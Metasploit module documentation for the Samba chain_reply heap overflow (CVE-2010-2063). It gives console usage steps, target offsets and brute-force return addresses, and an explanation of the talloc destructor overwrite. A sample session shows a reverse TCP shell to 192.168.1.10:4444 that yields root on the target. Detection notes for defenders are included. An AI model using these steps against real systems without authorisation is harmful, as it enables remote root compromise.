## Vulnerable Application This module exploits a heap-based memory corruption vulnerability in Samba versions prior to 3.3.13. The flaw exists in the SMB1 packet chaining logic, specifically within the `chain_reply()` function, where attacker-controlled offsets are used without proper bounds checking. By crafting a malicious chained SMB response packet with an invalid `smb_off2` value, an attacker can corrupt heap memory and overwrite sensitive metadata. The exploit leverages this condition to overwrite a `talloc` chunk destructor function pointer, resulting in arbitrary code execution. This module targets 32-bit Linux systems without NX memory protection. Due to Samba’s default forking behavior, exploitation attempts can be repeated indefinitely, enabling brute-force techniques to achieve reliable execution. ## Vulnerable Software **Samba versions < 3.3.13** (3.1.x through 3.3.12). - **Affected branches:** 3.1.x – 3.3.12 - **Unaffected:** Samba 3.0.x (see explanation below) - **Protocol:** SMB1 (NetBIOS) - **Default Port:** 139/tcp Vulnerable versions can be obtained from: - https://download.samba.org/pub/samba/old/ **Key requirements:** - x86 Linux (no NX memory protection) - NetBIOS over TCP (port 139) - Exploits `talloc` chunk destructor overwrite - Samba forks per session, enabling brute-force reliability **Affected distributions (historical):** - Debian 5 (3.2.5-4lenny6) – tested target - Ubuntu 6.06 / 8.04 / 9.04 (fixed in later updates) ## Verification Steps 1. Start `msfconsole` 2. `use exploit/linux/samba/chain_reply` 3. `show targets` → Select `0` (Linux Debian5) or `1` (Debugging) 4. `set RHOSTS ` 5. `set RPORT 139` 6. `exploit` ## Scenarios ### Debian 5 (Samba 3.2.x) - Default Options msf6 > use exploit/linux/samba/chain_reply msf6 exploit(chain_reply) > set RHOSTS 192.168.1.100 msf6 exploit(chain_reply) > set RPORT 139 msf6 exploit(chain_reply) > show targets msf6 exploit(chain_reply) > set target 0 msf6 exploit(chain_reply) > exploit [*] Started reverse TCP handler on 192.168.1.10:4444 [*] Trying return address 0x081ed5f2... [*] Trying return address 0x081ed8f2... [*] Trying return address 0x081edbF2... [*] Command shell session 1 opened (192.168.1.10:4444 -> 192.168.1.100:54321) $ id uid=0(root) gid=0(root) groups=0(root) $ uname -a Linux debian5 2.6.26-2-686 #1 SMP 2009-11-11 21:39:45 +0100 i686 GNU/Linux ## Options | Name | Current | Required | Description | |------|---------|----------|-------------| | RHOSTS | - | yes | Target IP | | RPORT | 139 | yes | **NetBIOS port (139), NOT 445** | | SMBUser | - | no | Username (anonymous by default) | ## Targets The module supports two targets: | Id | Name | Offset2 | Bruteforce Range | |----|------|---------|------------------| | 0 | Linux (Debian5 3.2.5-4lenny6) | 0x1fec | 0x081ed5f2 (jmp ecx in smbd) | | 1 | Debugging Target | 0x1fec | 0xAABBCCDD | ## Technical Details ### Vulnerability Overview **CVE-2010-2063** (OSVDB-65518) is a buffer overflow in SMB1 packet chaining that affects Samba versions prior to 3.3.13. **Root Cause:** - The `chain_reply()` function fails to properly validate the `smb_off2` offset parameter - When handling chained response packets, this offset is used without bounds checking - Setting the offset to a value larger than the destination buffer size causes memory corruption - Setting it smaller than `smb_wct` (0x24) corrupts the input buffer header **Code Path:** SMB packet received → chain_reply() → smb_off2 validated? NO → memory corruption in talloc chunk → destructor overwrite ### Exploitation Mechanism The exploit uses a multi-stage approach to achieve code execution: 1. **Talloc Chunk Allocation:** Multiple anonymous SMB session setups allocate talloc chunks in predictable memory locations 2. **Buffer Overflow:** Crafted TRANS packet with `smb_off2 = 0x1fec` triggers the vulnerability 3. **Destructor Overwrite:** The overflow overwrites the `tc->destructor` function pointer in talloc metadata 4. **Return Address Brute Force:** Since Samba forks for each session, the exploit attempts multiple return addresses 5. **Code Execution:** When the talloc chunk is freed, the overwritten destructor is called, executing the payload ### Why 3.0.x is NOT Exploitable Samba 3.0.x uses a much larger InputBuffer (approximately 0x20441 bytes). Although corruption is possible, the affected chunk is not reused before process termination, making reliable exploitation infeasible. ### Reliability Characteristics - **Stability:** CRASH_SERVICE_RESTARTS (Samba forks, automatically restarts) - **Side Effects:** IOC_IN_LOGS (SMB logs will show repeated connection attempts) - **Reliability:** UNRELIABLE_SESSION (Some attempts may fail, but unlimited retries possible) ### Payload Constraints - **Space:** 600 bytes maximum for shellcode - **Bad Characters:** None - **Target Platform:** Linux x86 (32-bit) ## Detection Notes Indicators of exploitation attempts may include: - Repeated SMB session setup requests - Abnormal SMB chained response packets - Frequent `smbd` child process crashes ## References - [CVE-2010-2063 - NVD](https://nvd.nist.gov/vuln/detail/CVE-2010-2063) [iDefense Advisory](https://web.archive.org/web/20100822024323/http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873) - [Rapid7 Metasploit Module](https://www.rapid7.com/db/modules/exploit/linux/samba/chain_reply/) - [Exploit-DB Reference](https://www.exploit-db.com/exploits/16860) ## Notes for Penetration Testers - Always verify the Samba version before exploitation using SMB enumeration tools - Port 139 must be accessible (not 445, which uses SMB2+) - Some modern Samba installations may have mitigations; verify vulnerability presence - Exploitation is most reliable on older distributions (Debian 5, Ubuntu 8.04/9.04) - ASLR/DEP/NX must be disabled for successful exploitation - Monitor system logs for repeated SMB connection attempts that may indicate exploitation